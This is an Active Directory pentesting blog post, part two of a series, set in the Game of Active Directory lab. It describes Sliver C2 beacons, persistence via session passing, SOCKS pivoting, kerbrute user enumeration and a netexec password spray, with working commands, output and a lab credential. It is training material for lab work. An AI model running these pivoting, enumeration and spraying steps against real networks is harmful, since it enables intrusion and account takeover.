Active Directory Pentesting: Part 02
Before Our First Attack
A good friend of mine runs an intentionally vulnerable Active Directory environment I've got permission to attack. It is Game of Active Directory, a GoT-inspired lab environment i can only recommend you to check out!
I will try to do nothing GoAD-specific, rather demonstrate attacks we talk about in a full environment. Seek out such for yourself to hack along!
A few options worth mentioning, ordered roughly by effort:
- GoAD itself: if your machine can handle it (it's heavy, needs Vagrant + VirtualBox + a lot of RAM)
- GOAD-Light: smaller GoAD variant, fewer VMs, same idea
- Detection Lab: more blue-team focused but has a full AD setup, good for understanding what defenders see
- Vulnerable-AD: single PowerShell script that misconfigures an existing Windows Server, much lighter, good if you already have a Windows VM lying around
- CRTE/CRTO lab environments: if you're doing the RTO/CRTE courses, those come with hosted labs, no local setup needed
- HTB Pro Labs: Offshore, RastaLabs, Cybernetics โ hosted, realistic, costs money but zero setup
- Build your own: two Windows Server eval VMs, one domain controller, one workstation, manually misconfigure. Most educational, most annoying.
So what we've got in GOAD is multiple domain controllers in separate trees, deliberately broken configurations, no hints (that we use), no real "intended path". Let's explore what we can do!
The Environment
What matters right now: my attack machine is not on the same network as the targets. Domain controllers, workstations, and file servers live on a private subnet I cannot directly reach.
Getting tool traffic in, and results back out, requires deliberately routing through a machine that is on that network. Everything below explains how that routing works.
Before we start the actual attacks you'll again have an overview over my setup.
C2 Frameworks
A Command and Control (C2) framework is the backbone of a post-exploitation operation aswell as a frequent tooling approach to communicating with your practice labs.
In both cases, you need to issue commands, transfer files, maintain access, pivot deeper from your own machine...
The naive approach is a raw reverse shell. Netcat, bash, whatever. It works, although briefly. But it's fragile in every way that matters: close your terminal and lose everything, no reconnect logic if the network blips, cleartext or trivially detected traffic, no task queue, no way to manage more than one target at once. It's not an operational tool, rather a mere proof of concept.
My friend showed me how to use Sliver, an open-source C2 from Bishop Fox, written in Go. It's become a standard in learning environments and red team work because Cobalt Strike costs thousands per license and Sliver has solid documentation and active development. Havoc and Mythic are worth knowing about, Sliver is what we're running here.
C2 server and beacon โ the two halves of a post-exploitation channel
Implants
The thing you execute on a compromised machine is called an implant, also agent depending on the framework. Cobalt Strike calls theirs a Beacon (capital B, their branded agent name). Sliver calls its implants beacons or sessions too, though there "beacon" refers to a specific async operating mode rather than the implant itself, more on that in a second.
It's a compiled binary that, once run, establishes communication back to your C2 server.
In Sliver, generating an implant means compiling a binary targeted at a specific OS and architecture. You deliver it to the target by whatever means you've used to gain initial access, execute it, and it calls home. A new agent appears in the C2 console.
Beacons vs. Sessions
Sliver has two implant modes, and the difference matters operationally.
A session maintains a persistent, always-on connection to the C2. Real-time and interactive; commands and output flow immediately. But a persistent encrypted outbound connection is exactly what EDR and network monitoring look for. A process holding an open socket to an external host for hours is a red flag.
A beacon checks in on a schedule. The implant wakes up every N seconds, plus some random jitter to avoid predictable timing patterns. It collects any queued tasks, executes them, returns results, and goes quiet until the next interval.
Beacon check-in cycle โ intermittent by design, harder to flag than a persistent connection
Small Excursus: Session Passing
One pattern worth knowing early: session passing.
The idea is to run a very slow persistence beacon, checking in every few hours, whose only job is to stay alive quietly in the background. When you actually want to do exploitation work, you spawn a new, faster beacon from it.
That fast beacon is your working implant: interactive, noisy by comparison, and (more) likely to get caught eventually. When it does, it doesn't matter: your slow persistence beacon is still there, untouched, ready to spawn another.
This separation of persistence and exploitation into distinct beacons is standard practice in real engagements, and GoAD is a good place to get comfortable thinking this way from the start.
With a beacon you're not typing into a shell. You queue commands, wait for the next check-in, and read results. It feels slow at first. It's deliberately so; low-volume periodic traffic blends into background noise in a way that a persistent socket never will. In any environment with real monitoring, beacons are the default.
The Network Problem
The target machines live on a private subnet. My attack machine can't reach them directly. But once a beacon is running on any machine inside that network, Sliver can use that beacon as a pivot point: a proxy that relays your traffic into the network and makes your tool output appear to originate from a trusted internal host.
The mechanism is a SOCKS proxy. Sliver can open a SOCKS listener through an active beacon. Any traffic you route through that proxy exits from the compromised machine inside the target network. To domain controllers, your enumeration looks like internal traffic.
SOCKS Proxies
SOCKS is a protocol for routing arbitrary network traffic through a proxy server. It operates at the transport layer (below HTTP, below application logic) which is why it works with almost any tool without modification.
| Version | Transport | Authentication | IPv6 | Verdict |
|---|---|---|---|---|
| SOCKS4 | TCP only | None | No | Legacy. Avoid. |
| SOCKS5 | TCP + UDP * | Optional | Yes | Use this. |
* UDP support is specified but often broken in practice โ Kerberos and DNS default to UDP, so force TCP via tool flags where possible.
The asterisk on UDP is what might bite you in practice.
SOCKS5 specifies UDP support, but most implementations, including what Sliver opens through a beacon, handle it poorly or not at all. This matters because Kerberos uses UDP by default, and so does DNS.
Every time you see a tool-specific flag forcing DNS or Kerberos over TCP, -vc in nslookup, +tcp in dig, -T in others, that's the reason. The proxy can't handle UDP, so you adapt the tool, each with its own flag for the job.
proxychains
proxychains is a tool that intercepts the network calls of a process and redirects them through a configured SOCKS proxy. It works via LD_PRELOAD: it hooks into the C standard library's socket functions before the process starts, so the tool itself never needs to know anything about proxies.
You configure your SOCKS5 proxy details once in /etc/proxychains4.conf, then prefix any tool invocation with proxychains:
proxychains [your tool] [flags] [target]
# e.g.
proxychains nmap -sT -p 88,389,445 $TARGET_IP
proxychains netexec smb $SUBNET
proxychains [impacket-tool] -target $DC_IPThat prefix is why commands throughout this series look the way they do. The tool itself is unchanged, it just runs inside a wrapper that routes its traffic through the beacon into the target network.
Three limitations to keep in mind from day one:
- UDP doesn't work. proxychains intercepts TCP only. Anything defaulting to UDP, Kerberos, DNS, some LDAP operations, either needs to be forced to TCP via flags, or it bypasses the proxy entirely.
- ICMP doesn't work. No
pingthrough proxychains. Use TCP-based host discovery methods instead. - Statically linked binaries may bypass it. The
LD_PRELOADhook only intercepts dynamically linked executables. Some compiled tools ignore it entirely. That's what tun2socks solves.
tun2socks
proxychains patches individual processes. tun2socks routes at the OS level.
It creates a virtual network interface, then forwards all traffic sent to that interface through a configured SOCKS5 proxy. Once you've added a route pointing your target subnet at that interface, your entire machine routes transparently into the target network, no per-command prefix, no tool-specific configuration.
Tools that would bypass proxychains work just fine because the routing happens below the application layer entirely.
Traffic routing โ from your tool, through the beacon, to the target network
The two tools are complementary. tun2socks for transparent OS-level routing, especially useful for tools that bypass LD_PRELOAD or for running tools without constantly prefixing them.
proxychains when you want explicit per-command control over what goes through the tunnel, or for tools that need it specifically. In practice, we use both.
Impacket
Throughout this series, any command that ends in .py and touches a Windows protocol is almost certainly Impacket. It's a Python library and a suite of ready-to-use tools built on top of it, for working with SMB, Kerberos, LDAP, MSRPC, NTLM, and the rest of the Windows protocol stack.
Tools like secretsdump.py, GetUserSPNs.py, psexec.py, lookupsid.py, all Impacket. If a command hits a Windows protocol and lives in a Python virtualenv, it's Impacket.
Worth knowing: the library itself is separate from the scripts that ship with it. When something behaves unexpectedly in an edge case, reading the library source is often faster than searching for a fix. The protocol implementations are clean and readable.
Here's a quick quiz to make sure you really got it.
In my case, I'd start sliver, my friend set me up a session, I'd use said session, bam, ready to start.
Let The Games begin!
To be clear here: I am going from a Kali attack box, like the most exams enable you too (e.g., OSCP offers a Kali and a Windows attack box to go from).
Password Spraying
Before we run anything, let's understand what we're actually doing and why.
What is SMB?
SMB (Server Message Block) is a Windows network protocol used for file sharing, printer sharing and inter-process communication. Every Windows machine in an AD environment exposes it on port 445.
It also handels authentication (hihi).
If you can speak SMB to a machine, you can attempt to authenticate against it, and authentication attempts can tell you a lot!
What is netexec?
netexec (abbreviated nxc, formerly known as CrackMapExec) is a Swiss army knife for Windows network enumeration and exploitation.
It speaks SMB, LDAP, WinRM, MSSQL and moore. For authentication testing specifically, it lets you throw credential combinations at an entire subnet and tells you which ones work. All from Linux, no Windows tooling required.
Now FINALLY, what is Password Spraying?
Tap yourself on the shoulder for making it until here! I mean it, congrats! These are no light topics.
The distinction matters operationally. Most Active Directory environments have an account lockout policy: fail to authenticate $X$ times in a row and the account locks.
If you brute-force a single account, you'll lock it out fast. Yet, if you try one password against potentially hundreds of accounts, you stay well under the lockout threshold per account while covering a huge surface.
You might've read it by now hehe: you need a password worth spraying.
Common targets are:
- Seasonal passwords (
Winter2024!,Summer2024!) - Company name variants (
Companyname1!) - Default passwords left on accounts
- Passwords from previous breaches reused internally
In GoAD, passwords are intentionally weak and thematic, which is what makes it a lab.
What do you need before spraying?
Three things:
1. A target: which machine do you spray against? You need an IP or hostname of a machine that's joined to the domain. A domain controller is the obvious choice โ it authenticates everything. In GoAD, domain controllers are the entry point.
2. A user list: Without knowing valid usernames, you're guessing twice. User enumeration comes before spraying (more on that will come later in the series). For now, assume you have a list of valid domain usernames (I'll show you mine in a second).
3. A candidate password: One password, chosen carefully. Too many wrong attempts too fast will lock accounts. Spray slowly, spray once.
How does the spray work mechanically?
netexec connects to SMB on port 445 of your target, attempts to authenticate with each username + your chosen password, and reports back. A [+] means the credentials were accepted by the domain. A [-] means they weren't. [-] STATUS_LOGON_FAILURE is a wrong password. [-] STATUS_ACCOUNT_LOCKED_OUT means you've already hit the lockout threshold for that account, stop immediately if you see this.
The lockout problem
Before you spray, you want to know the domain's lockout policy, how many failed attempts are allowed before an account locks, and over what time window.
Spraying into an unknown policy blind is how you lock out half the domain and get noticed instantly. Although that might not be an issue in a cert unless it's a detection-focused one.
The safe approach: find the lockout threshold, stay at least one attempt under it per reset window, and add a delay between attempts. A locked account is loud. A slow spray is silent.
What does a successful result tell you?
A valid credential against SMB means that user account exists, the password is correct, and the account isn't locked or disabled. From there, depending on that user's privileges, you can enumerate shares, run further queries against LDAP, attempt lateral movement, or pivot deeper.
One credential is rarely the end, it's almost always the beginning of the next phase.
Let's Actually Spray!
Before you can spray anything, you need to know where you are and what's reachable.
After my setup worked with proxychains routing traffic into the lab, i started with a basic SMB sweep of the given subnet to find live Windows hosts:
$ sudo proxychains -q nxc smb 192.168.56.0/24
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
Running nxc against 256 targets โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ 100% 0:00:00As you can see, this gives a list of machines, their hostnames, domain names, OS versions. SMB will respond even to unauthenticated probes and leak you a lot.
Let's get into the icy norths of Westeros, shall we? I choose winterfell.north.sevenkingdoms.local as my target. Now we need potential users, huh?
GoAD is a Game of Thrones-themed environment. The administrators who built it named their accounts after characters. That's not a GoAD-specific quirk; real companies do the same thing with employee names, and real attackers enumerate those from LinkedIn, company websites, and public directories before touching a single domain service.
The principle is identical: figure out who probably has an account, generate plausible username formats, validate later.
The characters are public knowledge. So, i built a names file:
$ cat > GOAD/OSINT/names.txt
arya stark
sansa stark
jon snow
tywin lannister
tyrion lannister
eddard stark
rob stark
brandon stark
cersei lannister
jamie lannister
robert baratheon
jorah mormont
margaery tyrell
jeor mormont
lord varys
stannis baratheon
petyr baelish
davos seaworth
grey worm
roose bolton
theon greyjoy
sandor cleganeGenerating Username-Lists with username-anarchy
Then i used username-anarchy to generate every plausible format that an AD admin might have chosen:
~/tools/username-anarchy/username-anarchy -i OSINT/names.txt > OSINT/potential-usernames.txtThis spits out every combination: arya, arya.stark, a.stark, astark, stark.arya and so on for every name in the list. Dozens of candidates per person.
Validating Usernames with Kerbrute
Before spraying any password, we want to know which of our generated usernames actually exist in the domain. Kerbrute does this cleanly: it sends AS-REQ packets to the KDC and reads the response. A valid username gets PRINCIPAL UNKNOWN back as a specific Kerberos error, a different error from an invalid one. No authentication attempt, no lockout risk.
sudo proxychains -q kerbrute userenum --dc 192.168.56.11 -d north.sevenkingdoms.local OSINT/potential-usernames.txt -o OSINT/valid-users.txtBut damn, that takes forever.. too many possibilities hm? If you want to make it faster, pick a name format you deem suitable, be it through research, experience or mere instinct:
~/tools/username-anarchy/username-anarchy -i OSINT/names.txt --select-format first.last > OSINT/potential-usernames-formatted.txtI pick first.last, producing names like brandon.stark:
arya.stark
sansa.stark
jon.snow
tywin.lannister
tyrion.lannister
eddard.stark
rob.stark
brandon.stark
cersei.lannister
jamie.lannister
robert.baratheon
jorah.mormont
margaery.tyrell
jeor.mormont
lord.varys
stannis.baratheon
petyr.baelish
davos.seaworth
grey.worm
roose.bolton
theon.greyjoy
sandor.cleganeAlso beware, for kerbrute in GoAD we need something like tun2socks, this won't work over socks5. I used:
sudo ~/tools/tun2socks-linux-amd64 -device tun://tun1 -proxy socks5://127.0.0.1:1081
#in another shell:
sudo ip link set tun1 up && sudo ip route add 192.168.56.0/24 dev tun1
sudo ip link set tun1 mtu 1280
Aaand:
sudo ~/tools/kerbrute userenum -d north.sevenkingdoms.local OSINT/potential-usernames-formatted.txt --dc 192.168.56.11 -o OSINT/valid-users.txt -v
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/18/26 - Ronnie Flathers @ropnop
2026/04/18 05:08:37 > Using KDC(s):
2026/04/18 05:08:37 > 192.168.56.11:88
2026/04/18 05:08:42 > [+] VALID USERNAME: sansa.stark@north.sevenkingdoms.local
2026/04/18 05:08:42 > [!] tywin.lannister@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:42 > [+] VALID USERNAME: arya.stark@north.sevenkingdoms.local
2026/04/18 05:08:42 > [+] VALID USERNAME: jon.snow@north.sevenkingdoms.local
2026/04/18 05:08:43 > [+] VALID USERNAME: brandon.stark@north.sevenkingdoms.local
2026/04/18 05:08:43 > [!] jamie.lannister@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:43 > [!] cersei.lannister@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:43 > [!] tyrion.lannister@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:43 > [!] rob.stark@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:43 > [+] VALID USERNAME: eddard.stark@north.sevenkingdoms.local
2026/04/18 05:08:48 > [!] robert.baratheon@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [!] jorah.mormont@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [!] margaery.tyrell@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [+] VALID USERNAME: jeor.mormont@north.sevenkingdoms.local
2026/04/18 05:08:48 > [!] lord.varys@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [!] stannis.baratheon@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [!] petyr.baelish@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [!] davos.seaworth@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [!] grey.worm@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:48 > [!] roose.bolton@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:53 > [!] theon.greyjoy@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:54 > [!] sandor.clegane@north.sevenkingdoms.local - User does not exist
2026/04/18 05:08:54 > Done! Tested 22 usernames (6 valid) in 16.673 secondsAayyyy! See?? We get valid usernames!
First blood
The kerbrute enumeration ran into tunnel issues, so we took a shortcut to close out this post, using arya.stark with the password Needle (the post is getting looong, let's look at passwords in another one) that we already knew, purely to verify our setup works end-to-end and to see that satisfying [+] in the output.
And there it is:
$ sudo proxychains -q nxc smb 192.168.56.0/24 -u arya.stark -p Needle
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB 192.168.56.12 445 MEEREEN [-] essos.local\arya.stark:Needle STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB 192.168.56.23 445 BRAAVOS [+] essos.local\arya.stark:Needle (Guest)
SMB 192.168.56.10 445 KINGSLANDING [-] sevenkingdoms.local\arya.stark:Needle STATUS_LOGON_FAILURE
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\arya.stark:Needle
SMB 192.168.56.22 445 CASTELBLACK [+] north.sevenkingdoms.local\arya.stark:Needle
Running nxc against 256 targets โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ 100% 0:00:00
Valid credentials, confirmed across two machines in the north. We're in, at least as Arya.
The honest version of this post would have spent more time on user enumeration and password candidate research before the spray. That comes in a later installments, as I think that now was quite a lot in one go. For now: the infrastructure works, the routing works, the spray works. Try to go through what we've learned again!
What's next
This series is just getting started. Next up is proper enumeration with valid credentials; LDAP, BloodHound, share enumeration, finding what Arya can actually see and touch. From there we move into privilege escalation paths, lateral movement, and working toward domain admin.
Alongside GoAD, we'll also be working through OffSec Proving Grounds machines, more isolated, more realistic, and great preparation for OSCP. Expect those writeups to show up in parallel.
The north remembers. See you in the next one.
All attacks are performed against private lab environments with explicit permission. Never run offensive tooling against infrastructure you don't own.
No spam, no sharing to third party. Only you and me.
Member discussion